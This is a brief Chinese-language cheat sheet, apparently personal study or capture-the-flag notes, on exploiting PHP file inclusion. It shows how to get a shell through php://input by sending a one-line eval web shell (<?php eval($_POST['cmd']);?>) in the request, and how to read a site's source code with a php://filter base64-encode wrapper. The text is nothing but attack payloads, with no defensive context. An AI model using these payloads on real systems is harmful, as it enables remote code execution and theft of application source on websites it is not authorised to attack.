[TOC] ## 利用工具在请求头中getshell 文件包含获取原生数据 ``` php://input ``` 请求头中 ``` <?php eval($_POST['cmd']);?> ``` ## 利用base64查看当前文件的源码 ``` php://filter/read=convert.base64-encode/resource ```